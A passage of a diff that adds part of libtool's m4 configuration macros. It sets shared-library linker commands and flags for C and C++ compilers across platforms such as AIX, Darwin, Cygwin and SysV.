+	_LT_TAGVAR(archive_cmds, $1)='$CC -G ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
+	_LT_TAGVAR(archive_expsym_cmds, $1)='$CC -G ${wl}-Bexport:$export_symbols ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
+      fi
+      ;;
+
+    sysv5* | sco3.2v5* | sco5v6*)
+      # Note: We can NOT use -z defs as we might desire, because we do not
+      # link with -lc, and that would cause any symbols used from libc to
+      # always be unresolved, which means just about no library would
+      # ever link correctly.  If we're not using GNU ld we use -z text
+      # though, which does catch some bad symbols but isn't as heavy-handed
+      # as -z defs.
+      _LT_TAGVAR(no_undefined_flag, $1)='${wl}-z,text'
+      _LT_TAGVAR(allow_undefined_flag, $1)='${wl}-z,nodefs'
+      _LT_TAGVAR(archive_cmds_need_lc, $1)=no
+      _LT_TAGVAR(hardcode_shlibpath_var, $1)=no
+      _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-R,$libdir'
+      _LT_TAGVAR(hardcode_libdir_separator, $1)=':'
+      _LT_TAGVAR(link_all_deplibs, $1)=yes
+      _LT_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-Bexport'
+      runpath_var='LD_RUN_PATH'
+
+      if test "$GCC" = yes; then
+	_LT_TAGVAR(archive_cmds, $1)='$CC -shared ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
+	_LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared ${wl}-Bexport:$export_symbols ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
+      else
+	_LT_TAGVAR(archive_cmds, $1)='$CC -G ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
+	_LT_TAGVAR(archive_expsym_cmds, $1)='$CC -G ${wl}-Bexport:$export_symbols ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
+      fi
+      ;;
+
+    uts4*)
+      _LT_TAGVAR(archive_cmds, $1)='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
+      _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir'
+      _LT_TAGVAR(hardcode_shlibpath_var, $1)=no
+      ;;
+
+    *)
+      _LT_TAGVAR(ld_shlibs, $1)=no
+      ;;
+    esac
+
+    if test x$host_vendor = xsni; then
+      case $host in
+      sysv4 | sysv4.2uw2* | sysv4.3* | sysv5*)
+	_LT_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-Blargedynsym'
+	;;
+      esac
+    fi
+  fi
+])
+AC_MSG_RESULT([$_LT_TAGVAR(ld_shlibs, $1)])
+test "$_LT_TAGVAR(ld_shlibs, $1)" = no && can_build_shared=no
+
+_LT_TAGVAR(with_gnu_ld, $1)=$with_gnu_ld
+
+_LT_DECL([], [libext], [0], [Old archive suffix (normally "a")])dnl
+_LT_DECL([], [shrext_cmds], [1], [Shared library suffix (normally ".so")])dnl
+_LT_DECL([], [extract_expsyms_cmds], [2],
+    [The commands to extract the exported symbol list from a shared archive])
+
+#
+# Do we need to explicitly link libc?
+#
+case "x$_LT_TAGVAR(archive_cmds_need_lc, $1)" in
+x|xyes)
+  # Assume -lc should be added
+  _LT_TAGVAR(archive_cmds_need_lc, $1)=yes
+
+  if test "$enable_shared" = yes && test "$GCC" = yes; then
+    case $_LT_TAGVAR(archive_cmds, $1) in
+    *'~'*)
+      # FIXME: we may have to deal with multi-command sequences.
+      ;;
+    '$CC '*)
+      # Test whether the compiler implicitly links with -lc since on some
+      # systems, -lgcc has to come before -lc. If gcc already passes -lc
+      # to ld, don't add -lc before -lgcc.
+      AC_MSG_CHECKING([whether -lc should be explicitly linked in])
+      $RM conftest*
+      printf "$lt_simple_compile_test_code" > conftest.$ac_ext
+
+      if AC_TRY_EVAL(ac_compile) 2>conftest.err; then
+        soname=conftest
+        lib=conftest
+        libobjs=conftest.$ac_objext
+        deplibs=
+        wl=$_LT_TAGVAR(lt_prog_compiler_wl, $1)
+	pic_flag=$_LT_TAGVAR(lt_prog_compiler_pic, $1)
+        compiler_flags=-v
+        linker_flags=-v
+        verstring=
+        output_objdir=.
+        libname=conftest
+        lt_save_allow_undefined_flag=$_LT_TAGVAR(allow_undefined_flag, $1)
+        _LT_TAGVAR(allow_undefined_flag, $1)=
+        if AC_TRY_EVAL(_LT_TAGVAR(archive_cmds, $1) 2\>\&1 \| $GREP \" -lc \" \>/dev/null 2\>\&1)
+        then
+	  _LT_TAGVAR(archive_cmds_need_lc, $1)=no
+        else
+	  _LT_TAGVAR(archive_cmds_need_lc, $1)=yes
+        fi
+        _LT_TAGVAR(allow_undefined_flag, $1)=$lt_save_allow_undefined_flag
+      else
+        cat conftest.err 1>&5
+      fi
+      $RM conftest*
+      AC_MSG_RESULT([$_LT_TAGVAR(archive_cmds_need_lc, $1)])
+      ;;
+    esac
+  fi
+  ;;
+esac
+
+_LT_TAGDECL([build_libtool_need_lc], [archive_cmds_need_lc], [0],
+    [Whether or not to add -lc for building shared libraries])
+_LT_TAGDECL([allow_libtool_libs_with_static_runtimes],
+    [enable_shared_with_static_runtimes], [0],
+    [Whether or not to disallow shared libs when runtime libs are static])
+_LT_TAGDECL([], [export_dynamic_flag_spec], [1],
+    [Compiler flag to allow reflexive dlopens])
+_LT_TAGDECL([], [whole_archive_flag_spec], [1],
+    [Compiler flag to generate shared objects directly from archives])
+_LT_TAGDECL([], [old_archive_from_new_cmds], [2],
+    [Create an old-style archive from a shared archive])
+_LT_TAGDECL([], [old_archive_from_expsyms_cmds], [2],
+    [Create a temporary old-style archive to link instead of a shared archive])
+_LT_TAGDECL([], [archive_cmds], [2], [Commands used to build a shared archive])
+_LT_TAGDECL([], [archive_expsym_cmds], [2])
+_LT_TAGDECL([], [module_cmds], [2],
+    [Commands used to build a loadable module if different from building
+    a shared archive.])
+_LT_TAGDECL([], [module_expsym_cmds], [2])
+_LT_TAGDECL([], [with_gnu_ld], [1],
+    [Whether we are building with GNU ld or not])
+_LT_TAGDECL([], [allow_undefined_flag], [1],
+    [Flag that allows shared libraries with undefined symbols to be built])
+_LT_TAGDECL([], [no_undefined_flag], [1],
+    [Flag that enforces no undefined symbols])
+_LT_TAGDECL([], [hardcode_libdir_flag_spec], [1],
+    [Flag to hardcode $libdir into a binary during linking.
+    This must work even if $libdir does not exist])
+_LT_TAGDECL([], [hardcode_libdir_flag_spec_ld], [1],
+    [[If ld is used when linking, flag to hardcode $libdir into a binary
+    during linking.  This must work even if $libdir does not exist]])
+_LT_TAGDECL([], [hardcode_libdir_separator], [1],
+    [Whether we need a single "-rpath" flag with a separated argument])
+_LT_TAGDECL([], [hardcode_direct], [0],
+    [Set to "yes" if using DIR/libNAME${shared_ext} during linking hardcodes
+    DIR into the resulting binary])
+_LT_TAGDECL([], [hardcode_minus_L], [0],
+    [Set to "yes" if using the -LDIR flag during linking hardcodes DIR
+    into the resulting binary])
+_LT_TAGDECL([], [hardcode_shlibpath_var], [0],
+    [Set to "yes" if using SHLIBPATH_VAR=DIR during linking hardcodes DIR
+    into the resulting binary])
+_LT_TAGDECL([], [hardcode_automatic], [0],
+    [Set to "yes" if building a shared library automatically hardcodes DIR
+    into the library and all subsequent libraries and executables linked
+    against it])
+_LT_TAGDECL([], [inherit_rpath], [0],
+    [Set to yes if linker adds runtime paths of dependent libraries
+    to runtime path list])
+_LT_TAGDECL([], [link_all_deplibs], [0],
+    [Whether libtool must link a program against all its dependency libraries])
+_LT_TAGDECL([], [fix_srcfile_path], [1],
+    [Fix the shell variable $srcfile for the compiler])
+_LT_TAGDECL([], [always_export_symbols], [0],
+    [Set to "yes" if exported symbols are required])
+_LT_TAGDECL([], [export_symbols_cmds], [2],
+    [The commands to list exported symbols])
+_LT_TAGDECL([], [exclude_expsyms], [1],
+    [Symbols that should not be listed in the preloaded symbols])
+_LT_TAGDECL([], [include_expsyms], [1],
+    [Symbols that must always be exported])
+_LT_TAGDECL([], [prelink_cmds], [2],
+    [Commands necessary for linking programs (against libraries) with templates])
+_LT_TAGDECL([], [file_list_spec], [1],
+    [Specify filename containing input files])
+dnl FIXME: Not yet implemented
+dnl _LT_TAGDECL([], [thread_safe_flag_spec], [1],
+dnl    [Compiler flag to generate thread safe objects])
+])# _LT_LINKER_SHLIBS
+
+
+# _LT_LANG_C_CONFIG([TAG])
+# ------------------------
+# Ensure that the configuration variables for a C compiler are suitably
+# defined.  These variables are subsequently used by _LT_CONFIG to write
+# the compiler configuration to `libtool'.
+m4_defun([_LT_LANG_C_CONFIG],
+[m4_require([_LT_DECL_EGREP])dnl
+lt_save_CC="$CC"
+AC_LANG_PUSH(C)
+
+# Source file extension for C test sources.
+ac_ext=c
+
+# Object file extension for compiled C test sources.
+objext=o
+_LT_TAGVAR(objext, $1)=$objext
+
+# Code to be used in simple compile tests
+lt_simple_compile_test_code="int some_variable = 0;\n"
+
+# Code to be used in simple link tests
+lt_simple_link_test_code='int main(){return(0);}\n'
+
+_LT_TAG_COMPILER
+# Save the default compiler, since it gets overwritten when the other
+# tags are being tested, and _LT_TAGVAR(compiler, []) is a NOP.
+compiler_DEFAULT=$CC
+
+# save warnings/boilerplate of simple test code
+_LT_COMPILER_BOILERPLATE
+_LT_LINKER_BOILERPLATE
+
+## CAVEAT EMPTOR:
+## There is no encapsulation within the following macros, do not change
+## the running order or otherwise move them around unless you know exactly
+## what you are doing...
+if test -n "$compiler"; then
+  _LT_COMPILER_NO_RTTI($1)
+  _LT_COMPILER_PIC($1)
+  _LT_COMPILER_C_O($1)
+  _LT_COMPILER_FILE_LOCKS($1)
+  _LT_LINKER_SHLIBS($1)
+  _LT_SYS_DYNAMIC_LINKER($1)
+  _LT_LINKER_HARDCODE_LIBPATH($1)
+  LT_SYS_DLOPEN_SELF
+  _LT_CMD_STRIPLIB
+
+  # Report which library types will actually be built
+  AC_MSG_CHECKING([if libtool supports shared libraries])
+  AC_MSG_RESULT([$can_build_shared])
+
+  AC_MSG_CHECKING([whether to build shared libraries])
+  test "$can_build_shared" = "no" && enable_shared=no
+
+  # On AIX, shared libraries and static libraries use the same namespace, and
+  # are all built from PIC.
+  case $host_os in
+  aix3*)
+    test "$enable_shared" = yes && enable_static=no
+    if test -n "$RANLIB"; then
+      archive_cmds="$archive_cmds~\$RANLIB \$lib"
+      postinstall_cmds='$RANLIB $lib'
+    fi
+    ;;
+
+  aix4* | aix5*)
+    if test "$host_cpu" != ia64 && test "$aix_use_runtimelinking" = no ; then
+      test "$enable_shared" = yes && enable_static=no
+    fi
+    ;;
+  esac
+  AC_MSG_RESULT([$enable_shared])
+
+  AC_MSG_CHECKING([whether to build static libraries])
+  # Make sure either enable_shared or enable_static is yes.
+  test "$enable_shared" = yes || enable_static=yes
+  AC_MSG_RESULT([$enable_static])
+
+  _LT_CONFIG($1)
+fi
+AC_LANG_POP
+CC="$lt_save_CC"
+])# _LT_LANG_C_CONFIG
+
+
+# _LT_PROG_CXX
+# ------------
+# Since AC_PROG_CXX is broken, in that it returns g++ if there is no c++
+# compiler, we have our own version here.
+m4_defun([_LT_PROG_CXX],
+[
+pushdef([AC_MSG_ERROR], [_lt_caught_CXX_error=yes])
+AC_PROG_CXX
+if test -n "$CXX" && ( test "X$CXX" != "Xno" &&
+    ( (test "X$CXX" = "Xg++" && `g++ -v >/dev/null 2>&1` ) ||
+    (test "X$CXX" != "Xg++"))) ; then
+  AC_PROG_CXXCPP
+else
+  _lt_caught_CXX_error=yes
+fi
+popdef([AC_MSG_ERROR])
+])# _LT_PROG_CXX
+
+dnl aclocal-1.4 backwards compatibility:
+dnl AC_DEFUN([_LT_PROG_CXX], [])
+
+
+# _LT_LANG_CXX_CONFIG([TAG])
+# --------------------------
+# Ensure that the configuration variables for a C++ compiler are suitably
+# defined.  These variables are subsequently used by _LT_CONFIG to write
+# the compiler configuration to `libtool'.
+m4_defun([_LT_LANG_CXX_CONFIG],
+[AC_REQUIRE([_LT_PROG_CXX])dnl
+m4_require([_LT_FILEUTILS_DEFAULTS])dnl
+m4_require([_LT_DECL_EGREP])dnl
+
+AC_LANG_PUSH(C++)
+_LT_TAGVAR(archive_cmds_need_lc, $1)=no
+_LT_TAGVAR(allow_undefined_flag, $1)=
+_LT_TAGVAR(always_export_symbols, $1)=no
+_LT_TAGVAR(archive_expsym_cmds, $1)=
+_LT_TAGVAR(export_dynamic_flag_spec, $1)=
+_LT_TAGVAR(hardcode_direct, $1)=no
+_LT_TAGVAR(hardcode_libdir_flag_spec, $1)=
+_LT_TAGVAR(hardcode_libdir_flag_spec_ld, $1)=
+_LT_TAGVAR(hardcode_libdir_separator, $1)=
+_LT_TAGVAR(hardcode_minus_L, $1)=no
+_LT_TAGVAR(hardcode_shlibpath_var, $1)=unsupported
+_LT_TAGVAR(hardcode_automatic, $1)=no
+_LT_TAGVAR(inherit_rpath, $1)=no
+_LT_TAGVAR(module_cmds, $1)=
+_LT_TAGVAR(module_expsym_cmds, $1)=
+_LT_TAGVAR(link_all_deplibs, $1)=unknown
+_LT_TAGVAR(old_archive_cmds, $1)=$old_archive_cmds
+_LT_TAGVAR(no_undefined_flag, $1)=
+_LT_TAGVAR(whole_archive_flag_spec, $1)=
+_LT_TAGVAR(enable_shared_with_static_runtimes, $1)=no
+
+# Source file extension for C++ test sources.
+ac_ext=cpp
+
+# Object file extension for compiled C++ test sources.
+objext=o
+_LT_TAGVAR(objext, $1)=$objext
+
+# No sense in running all these tests if we already determined that
+# the CXX compiler isn't working.  Some variables (like enable_shared)
+# are currently assumed to apply to all compilers on this platform,
+# and will be corrupted by setting them based on a non-working compiler.
+if test "$_lt_caught_CXX_error" != yes; then
+  # Code to be used in simple compile tests
+  lt_simple_compile_test_code="int some_variable = 0;\n"
+
+  # Code to be used in simple link tests
+  lt_simple_link_test_code='int main(int, char *[[]]) { return(0); }\n'
+
+  # ltmain only uses $CC for tagged configurations so make sure $CC is set.
+  _LT_TAG_COMPILER
+
+  # save warnings/boilerplate of simple test code
+  _LT_COMPILER_BOILERPLATE
+  _LT_LINKER_BOILERPLATE
+
+  # Allow CC to be a program name with arguments.
+  lt_save_CC=$CC
+  lt_save_LD=$LD
+  lt_save_GCC=$GCC
+  GCC=$GXX
+  lt_save_with_gnu_ld=$with_gnu_ld
+  lt_save_path_LD=$lt_cv_path_LD
+  if test -n "${lt_cv_prog_gnu_ldcxx+set}"; then
+    lt_cv_prog_gnu_ld=$lt_cv_prog_gnu_ldcxx
+  else
+    $as_unset lt_cv_prog_gnu_ld
+  fi
+  if test -n "${lt_cv_path_LDCXX+set}"; then
+    lt_cv_path_LD=$lt_cv_path_LDCXX
+  else
+    $as_unset lt_cv_path_LD
+  fi
+  test -z "${LDCXX+set}" || LD=$LDCXX
+  CC=${CXX-"c++"}
+  compiler=$CC
+  _LT_TAGVAR(compiler, $1)=$CC
+  _LT_CC_BASENAME([$compiler])
+
+  if test -n "$compiler"; then
+    # We don't want -fno-exception when compiling C++ code, so set the
+    # no_builtin_flag separately
+    if test "$GXX" = yes; then
+      _LT_TAGVAR(lt_prog_compiler_no_builtin_flag, $1)=' -fno-builtin'
+    else
+      _LT_TAGVAR(lt_prog_compiler_no_builtin_flag, $1)=
+    fi
+
+    if test "$GXX" = yes; then
+      # Set up default GNU C++ configuration
+
+      LT_PATH_LD
+
+      # Check if GNU C++ uses GNU ld as the underlying linker, since the
+      # archiving commands below assume that GNU ld is being used.
+      if test "$with_gnu_ld" = yes; then
+        _LT_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname -o $lib'
+        _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
+
+        _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir'
+        _LT_TAGVAR(export_dynamic_flag_spec, $1)='${wl}--export-dynamic'
+
+        # If archive_cmds runs LD, not CC, wlarc should be empty
+        # XXX I think wlarc can be eliminated in ltcf-cxx, but I need to
+        #     investigate it a little bit more. (MM)
+        wlarc='${wl}'
+
+        # ancient GNU ld didn't support --whole-archive et. al.
+        if eval "`$CC -print-prog-name=ld` --help 2>&1" |
+  	  $GREP 'no-whole-archive' > /dev/null; then
+          _LT_TAGVAR(whole_archive_flag_spec, $1)="$wlarc"'--whole-archive$convenience '"$wlarc"'--no-whole-archive'
+        else
+          _LT_TAGVAR(whole_archive_flag_spec, $1)=
+        fi
+      else
+        with_gnu_ld=no
+        wlarc=
+
+        # A generic and very simple default shared library creation
+        # command for GNU C++ for the case where it uses the native
+        # linker, instead of GNU ld.  If possible, this setting should
+        # overridden to take advantage of the native linker features on
+        # the platform it is being used on.
+        _LT_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $lib'
+      fi
+
+      # Commands to make compiler produce verbose output that lists
+      # what "hidden" libraries, object files and flags are used when
+      # linking a shared library.
+      output_verbose_link_cmd='$CC -shared $CFLAGS -v conftest.$objext 2>&1 | $GREP "\-L"'
+
+    else
+      GXX=no
+      with_gnu_ld=no
+      wlarc=
+    fi
+
+    # PORTME: fill in a description of your system's C++ link characteristics
+    AC_MSG_CHECKING([whether the $compiler linker ($LD) supports shared libraries])
+    _LT_TAGVAR(ld_shlibs, $1)=yes
+    case $host_os in
+      aix3*)
+        # FIXME: insert proper C++ library support
+        _LT_TAGVAR(ld_shlibs, $1)=no
+        ;;
+      aix4* | aix5*)
+        if test "$host_cpu" = ia64; then
+          # On IA64, the linker does run time linking by default, so we don't
+          # have to do anything special.
+          aix_use_runtimelinking=no
+          exp_sym_flag='-Bexport'
+          no_entry_flag=""
+        else
+          aix_use_runtimelinking=no
+
+          # Test if we are trying to use run time linking or normal
+          # AIX style linking. If -brtl is somewhere in LDFLAGS, we
+          # need to do runtime linking.
+          case $host_os in aix4.[[23]]|aix4.[[23]].*|aix5*)
+  	    for ld_flag in $LDFLAGS; do
+  	      case $ld_flag in
+  	      *-brtl*)
+  	        aix_use_runtimelinking=yes
+  	        break
+  	        ;;
+  	      esac
+  	    done
+	    ;;
+          esac
+
+          exp_sym_flag='-bexport'
+          no_entry_flag='-bnoentry'
+        fi
+
+        # When large executables or shared objects are built, AIX ld can
+        # have problems creating the table of contents.  If linking a library
+        # or program results in "error TOC overflow" add -mminimal-toc to
+        # CXXFLAGS/CFLAGS for g++/gcc.  In the cases where that is not
+        # enough to fix the problem, add -Wl,-bbigtoc to LDFLAGS.
+
+        _LT_TAGVAR(archive_cmds, $1)=''
+        _LT_TAGVAR(hardcode_direct, $1)=yes
+        _LT_TAGVAR(hardcode_libdir_separator, $1)=':'
+        _LT_TAGVAR(link_all_deplibs, $1)=yes
+        _LT_TAGVAR(file_list_spec, $1)='${wl}-f,'
+
+        if test "$GXX" = yes; then
+          case $host_os in aix4.[[012]]|aix4.[[012]].*)
+          # We only want to do this on AIX 4.2 and lower, the check
+          # below for broken collect2 doesn't work under 4.3+
+  	  collect2name=`${CC} -print-prog-name=collect2`
+  	  if test -f "$collect2name" &&
+  	     strings "$collect2name" | $GREP resolve_lib_name >/dev/null
+  	  then
+  	    # We have reworked collect2
+  	    _LT_TAGVAR(hardcode_direct, $1)=yes
+  	  else
+  	    # We have old collect2
+  	    _LT_TAGVAR(hardcode_direct, $1)=unsupported
+  	    # It fails to find uninstalled libraries when the uninstalled
+  	    # path is not listed in the libpath.  Setting hardcode_minus_L
+  	    # to unsupported forces relinking
+  	    _LT_TAGVAR(hardcode_minus_L, $1)=yes
+  	    _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir'
+  	    _LT_TAGVAR(hardcode_libdir_separator, $1)=
+  	  fi
+          esac
+          shared_flag='-shared'
+	  if test "$aix_use_runtimelinking" = yes; then
+	    shared_flag="$shared_flag "'${wl}-G'
+	  fi
+        else
+          # not using gcc
+          if test "$host_cpu" = ia64; then
+  	  # VisualAge C++, Version 5.5 for AIX 5L for IA-64, Beta 3 Release
+  	  # chokes on -Wl,-G. The following line is correct:
+  	  shared_flag='-G'
+          else
+  	    if test "$aix_use_runtimelinking" = yes; then
+  	      shared_flag='${wl}-G'
+  	    else
+  	      shared_flag='${wl}-bM:SRE'
+  	    fi
+          fi
+        fi
+
+        # It seems that -bexpall does not export symbols beginning with
+        # underscore (_), so it is better to generate a list of symbols to
+	# export.
+        _LT_TAGVAR(always_export_symbols, $1)=yes
+        if test "$aix_use_runtimelinking" = yes; then
+          # Warning - without using the other runtime loading flags (-brtl),
+          # -berok will link without error, but may produce a broken library.
+          _LT_TAGVAR(allow_undefined_flag, $1)='-berok'
+          # Determine the default libpath from the value encoded in an empty
+          # executable.
+          _LT_SYS_MODULE_PATH_AIX
+          _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-blibpath:$libdir:'"$aix_libpath"
+
+          _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then $ECHO "X${wl}${allow_undefined_flag}" | $Xsed; else :; fi` '"\${wl}$exp_sym_flag:\$export_symbols $shared_flag"
+        else
+          if test "$host_cpu" = ia64; then
+  	    _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-R $libdir:/usr/lib:/lib'
+  	    _LT_TAGVAR(allow_undefined_flag, $1)="-z nodefs"
+  	    _LT_TAGVAR(archive_expsym_cmds, $1)="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags ${wl}${allow_undefined_flag} '"\${wl}$exp_sym_flag:\$export_symbols"
+          else
+  	    # Determine the default libpath from the value encoded in an
+  	    # empty executable.
+  	    _LT_SYS_MODULE_PATH_AIX
+  	    _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-blibpath:$libdir:'"$aix_libpath"
+  	    # Warning - without using the other run time loading flags,
+  	    # -berok will link without error, but may produce a broken library.
+  	    _LT_TAGVAR(no_undefined_flag, $1)=' ${wl}-bernotok'
+  	    _LT_TAGVAR(allow_undefined_flag, $1)=' ${wl}-berok'
+  	    # Exported symbols can be pulled into shared objects from archives
+  	    _LT_TAGVAR(whole_archive_flag_spec, $1)='$convenience'
+  	    _LT_TAGVAR(archive_cmds_need_lc, $1)=yes
+  	    # This is similar to how AIX traditionally builds its shared
+	    # libraries.
+  	    _LT_TAGVAR(archive_expsym_cmds, $1)="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs ${wl}-bnoentry $compiler_flags ${wl}-bE:$export_symbols${allow_undefined_flag}~$AR $AR_FLAGS $output_objdir/$libname$release.a $output_objdir/$soname'
+          fi
+        fi
+        ;;
+
+      beos*)
+	if $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
+	  _LT_TAGVAR(allow_undefined_flag, $1)=unsupported
+	  # Joseph Beckenbach <jrb3@best.com> says some releases of gcc
+	  # support --undefined.  This deserves some investigation.  FIXME
+	  _LT_TAGVAR(archive_cmds, $1)='$CC -nostart $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+	else
+	  _LT_TAGVAR(ld_shlibs, $1)=no
+	fi
+	;;
+
+      chorus*)
+        case $cc_basename in
+          *)
+  	  # FIXME: insert proper C++ library support
+  	  _LT_TAGVAR(ld_shlibs, $1)=no
+  	  ;;
+        esac
+        ;;
+
+      cygwin* | mingw* | pw32*)
+        # _LT_TAGVAR(hardcode_libdir_flag_spec, $1) is actually meaningless,
+        # as there is no search path for DLLs.
+        _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir'
+        _LT_TAGVAR(allow_undefined_flag, $1)=unsupported
+        _LT_TAGVAR(always_export_symbols, $1)=no
+        _LT_TAGVAR(enable_shared_with_static_runtimes, $1)=yes
+
+        if $LD --help 2>&1 | $GREP 'auto-import' > /dev/null; then
+          _LT_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
+          # If the export-symbols file already is a .def file (1st line
+          # is EXPORTS), use it as is; otherwise, prepend...
+          _LT_TAGVAR(archive_expsym_cmds, $1)='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
+  	    cp $export_symbols $output_objdir/$soname.def;
+          else
+  	    echo EXPORTS > $output_objdir/$soname.def;
+  	    cat $export_symbols >> $output_objdir/$soname.def;
+          fi~
+          $CC -shared -nostdlib $output_objdir/$soname.def $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
+        else
+          _LT_TAGVAR(ld_shlibs, $1)=no
+        fi
+        ;;
+      darwin* | rhapsody*)
+	case $host_os in
+	  rhapsody* | darwin1.[[012]])
+	    _LT_TAGVAR(allow_undefined_flag, $1)='${wl}-undefined ${wl}suppress'
+	    ;;
+	  *) # Darwin 1.3 on
+	    case ${MACOSX_DEPLOYMENT_TARGET-10.0} in
+	      10.[[012]])
+		_LT_TAGVAR(allow_undefined_flag, $1)='${wl}-flat_namespace ${wl}-undefined ${wl}suppress'
+		;;
+	      10.*)
+		_LT_TAGVAR(allow_undefined_flag, $1)='${wl}-undefined ${wl}dynamic_lookup'
+		;;
+	    esac
+	    ;;
+	esac
+	_LT_TAGVAR(archive_cmds_need_lc, $1)=no
+	_LT_TAGVAR(hardcode_direct, $1)=no
+	_LT_TAGVAR(hardcode_automatic, $1)=yes
+	_LT_TAGVAR(hardcode_shlibpath_var, $1)=unsupported
+	_LT_TAGVAR(whole_archive_flag_spec, $1)=''
+	_LT_TAGVAR(link_all_deplibs, $1)=yes
+
+	if test "$GXX" = yes ; then
+	  AC_CACHE_VAL([lt_cv_apple_cc_single_mod],
+	  [lt_cv_apple_cc_single_mod=no
+	  if test -z "${LT_MULTI_MODULE}"; then
+	    # By default we will add the -single_module flag. You can override
+	    # by either setting the environment variable LT_MULTI_MODULE
+	    # non-empty at configure time, or by adding -multi-module to the
+	    # link flags.
+	    echo "int foo(void){return 1;}" > conftest.c
+	    $LTCC $LTCFLAGS $LDFLAGS -o libconftest.dylib \
+		-dynamiclib ${wl}-single_module conftest.c
+	    if test -f libconftest.dylib; then
+		lt_cv_apple_cc_single_mod=yes
+		rm libconftest.dylib
+	    fi
+	    rm conftest.$ac_ext
+	  fi])
+	  output_verbose_link_cmd=echo
+	  if test "X$lt_cv_apple_cc_single_mod" = Xyes ; then
+	   _LT_TAGVAR(archive_cmds, $1)='$CC -dynamiclib $single_module $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags -install_name $rpath/$soname $verstring'
+	    _LT_TAGVAR(archive_expsym_cmds, $1)='sed "s,^,_," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -dynamiclib $single_module $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags -install_name $rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
+	  else
+	    _LT_TAGVAR(archive_cmds, $1)='$CC -r -keep_private_externs -nostdlib -o ${lib}-master.o $libobjs~$CC -dynamiclib $allow_undefined_flag -o $lib ${lib}-master.o $deplibs $compiler_flags -install_name $rpath/$soname $verstring'
+	    _LT_TAGVAR(archive_expsym_cmds, $1)='sed "s,^,_," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -r -keep_private_externs -nostdlib -o ${lib}-master.o $libobjs~$CC -dynamiclib $allow_undefined_flag -o $lib ${lib}-master.o $deplibs $compiler_flags -install_name $rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
+	  fi
+	  _LT_TAGVAR(module_cmds, $1)='$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags'
+	  _LT_TAGVAR(module_expsym_cmds, $1)='sed "s,^,_," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC $allow_undefined_flag  -o $lib -bundle $libobjs $deplibs$compiler_flags~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
+	else
+	  case $cc_basename in
+	    xlc*)
+	      output_verbose_link_cmd=echo
+	      _LT_TAGVAR(archive_cmds, $1)='$CC -qmkshrobj ${wl}-single_module $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-install_name ${wl}`$ECHO "$rpath/$soname"` $verstring'
+	      _LT_TAGVAR(module_cmds, $1)='$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags'
+	      # Don't fix this by using the ld -exported_symbols_list flag,
+	      # it doesn't exist in older darwin lds
+	      _LT_TAGVAR(archive_expsym_cmds, $1)='sed "s,^,_," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -qmkshrobj ${wl}-single_module $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-install_name ${wl}$rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
+	      _LT_TAGVAR(module_expsym_cmds, $1)='sed "s,^,_," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC $allow_undefined_flag  -o $lib -bundle $libobjs $deplibs$compiler_flags~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
+	      ;;
+	    *)
+	      _LT_TAGVAR(ld_shlibs, $1)=no
+	      ;;
+	  esac
+	fi
+	;;
+
+      dgux*)
+        case $cc_basename in
+          ec++*)
+  	    # FIXME: insert proper C++ library support
+  	    _LT_TAGVAR(ld_shlibs, $1)=no
+  	    ;;
+          ghcx*)
